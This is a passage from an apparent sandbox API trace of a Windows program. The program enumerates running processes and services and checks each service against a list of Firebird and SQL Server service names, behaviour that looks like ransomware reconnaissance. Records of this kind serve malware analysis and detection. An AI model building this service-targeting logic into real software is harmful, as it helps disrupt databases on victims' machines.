szExeFile="csrss.exe")) returned 1 [0303.095] lstrlenW (lpString="csrss.exe") returned 9 [0303.095] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0303.096] lstrlenW (lpString="wininit.exe") returned 11 [0303.096] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0303.097] lstrlenW (lpString="csrss.exe") returned 9 [0303.097] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0303.098] lstrlenW (lpString="winlogon.exe") returned 12 [0303.098] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0303.098] lstrlenW (lpString="services.exe") returned 12 [0303.098] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0303.099] lstrlenW (lpString="lsass.exe") returned 9 [0303.099] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0303.100] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0303.100] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0303.101] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0303.101] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.102] lstrlenW (lpString="svchost.exe") returned 11 [0303.102] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.102] lstrlenW (lpString="svchost.exe") returned 11 [0303.102] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0303.103] lstrlenW (lpString="dwm.exe") returned 7 [0303.103] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.104] lstrlenW (lpString="svchost.exe") returned 11 [0303.104] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.105] lstrlenW (lpString="svchost.exe") returned 11 [0303.105] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.105] lstrlenW (lpString="svchost.exe") returned 11 [0303.105] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.106] lstrlenW (lpString="svchost.exe") returned 11 [0303.106] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.107] lstrlenW (lpString="svchost.exe") returned 11 [0303.107] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.108] lstrlenW (lpString="svchost.exe") returned 11 [0303.108] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.109] lstrlenW (lpString="svchost.exe") returned 11 [0303.109] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.109] lstrlenW (lpString="svchost.exe") returned 11 [0303.109] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.110] lstrlenW (lpString="svchost.exe") returned 11 [0303.110] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.111] lstrlenW (lpString="svchost.exe") returned 11 [0303.111] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0303.112] lstrlenW (lpString="spoolsv.exe") returned 11 [0303.112] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.113] lstrlenW (lpString="svchost.exe") returned 11 [0303.113] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0303.113] lstrlenW (lpString="audiodg.exe") returned 11 [0303.114] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0303.114] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0303.114] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0303.115] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0303.115] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0303.116] lstrlenW (lpString="Memory Compression") returned 18 [0303.116] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.117] lstrlenW (lpString="svchost.exe") returned 11 [0303.117] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0303.117] lstrlenW (lpString="sihost.exe") returned 10 [0303.117] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0303.118] lstrlenW (lpString="taskhostw.exe") returned 13 [0303.118] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0303.119] lstrlenW (lpString="msoia.exe") returned 9 [0303.119] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0303.120] lstrlenW (lpString="explorer.exe") returned 12 [0303.120] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0303.120] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0303.121] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0303.121] lstrlenW (lpString="SearchUI.exe") returned 12 [0303.121] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0303.122] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0303.122] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0303.123] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0303.123] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0303.124] lstrlenW (lpString="chrome64b.exe") returned 13 [0303.124] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf58, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0303.124] lstrlenW (lpString="cmd.exe") returned 7 [0303.124] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0303.125] lstrlenW (lpString="conhost.exe") returned 11 [0303.125] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0303.126] lstrlenW (lpString="cmd.exe") returned 7 [0303.126] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0303.127] lstrlenW (lpString="conhost.exe") returned 11 [0303.127] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0303.128] CloseHandle (hObject=0x358) returned 1 [0303.128] Sleep (dwMilliseconds=0x1f4) [0303.932] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x759dd8 [0304.198] EnumServicesStatusExW (in: hSCManager=0x759dd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 0 [0304.198] GetLastError () returned 0xea [0304.198] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1c30) returned 0x44228a0 [0304.198] EnumServicesStatusExW (in: hSCManager=0x759dd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x44228a0, cbBufSize=0x1c30, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x44228a0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 1 [0304.199] CloseServiceHandle (hSCObject=0x759dd8) returned 1 [0304.199] lstrlenW (lpString="Appinfo") returned 7 [0304.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0304.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0304.199] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0304.199] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0304.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0304.199] lstrlenW (lpString="AppXSvc") returned 7 [0304.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0304.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0304.199] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0304.199] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0304.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0304.199] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0304.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0304.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0304.200] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0304.200] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0304.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0304.200] lstrlenW (lpString="Audiosrv") returned 8 [0304.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0304.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0304.200] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0304.200] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0304.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0304.200] lstrlenW (lpString="BFE") returned 3 [0304.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0304.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0304.200] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0304.200] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0304.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0304.200] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0304.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0304.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0304.200] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0304.200] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0304.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0304.200] lstrlenW (lpString="CDPSvc") returned 6 [0304.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0304.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0304.200] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0304.200] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0304.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0304.200] lstrlenW (lpString="ClickToRunSvc") returned 13 [0304.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0304.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0304.200] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0304.200] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0304.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0304.200] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0304.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0304.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0304.200] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0304.200] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0304.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0304.201] lstrlenW (lpString="CryptSvc") returned 8 [0304.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0304.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0304.201] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0304.201] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0304.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0304.201] lstrlenW (lpString="DcomLaunch") returned 10 [0304.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0304.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0304.201] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0304.201] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0304.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0304.201] lstrlenW (lpString="DeviceAssociationService") returned 24 [0304.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0304.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0304.201] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0304.201] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0304.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0304.201] lstrlenW (lpString="Dhcp") returned 4 [0304.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0304.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0304.201] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0304.201] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0304.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0304.201] lstrlenW (lpString="Dnscache") returned 8 [0304.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0304.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0304.201] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0304.201] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0304.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0304.201] lstrlenW (lpString="DPS") returned 3 [0304.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0304.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0304.202] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0304.202] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0304.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0304.202] lstrlenW (lpString="DusmSvc") returned 7 [0304.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0304.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0304.202] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0304.202] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0304.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0304.202] lstrlenW (lpString="EventLog") returned 8 [0304.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0304.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0304.202] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0304.202] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0304.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0304.202] lstrlenW (lpString="EventSystem") returned 11 [0304.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0304.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0304.202] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0304.202] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0304.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0304.202] lstrlenW (lpString="FontCache") returned 9 [0304.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0304.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0304.202] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0304.202] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0304.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0304.202] lstrlenW (lpString="gpsvc") returned 5 [0304.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0304.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0304.202] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0304.202] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0304.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0304.203] lstrlenW (lpString="iphlpsvc") returned 8 [0304.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0304.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0304.203] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0304.203] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0304.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0304.203] lstrlenW 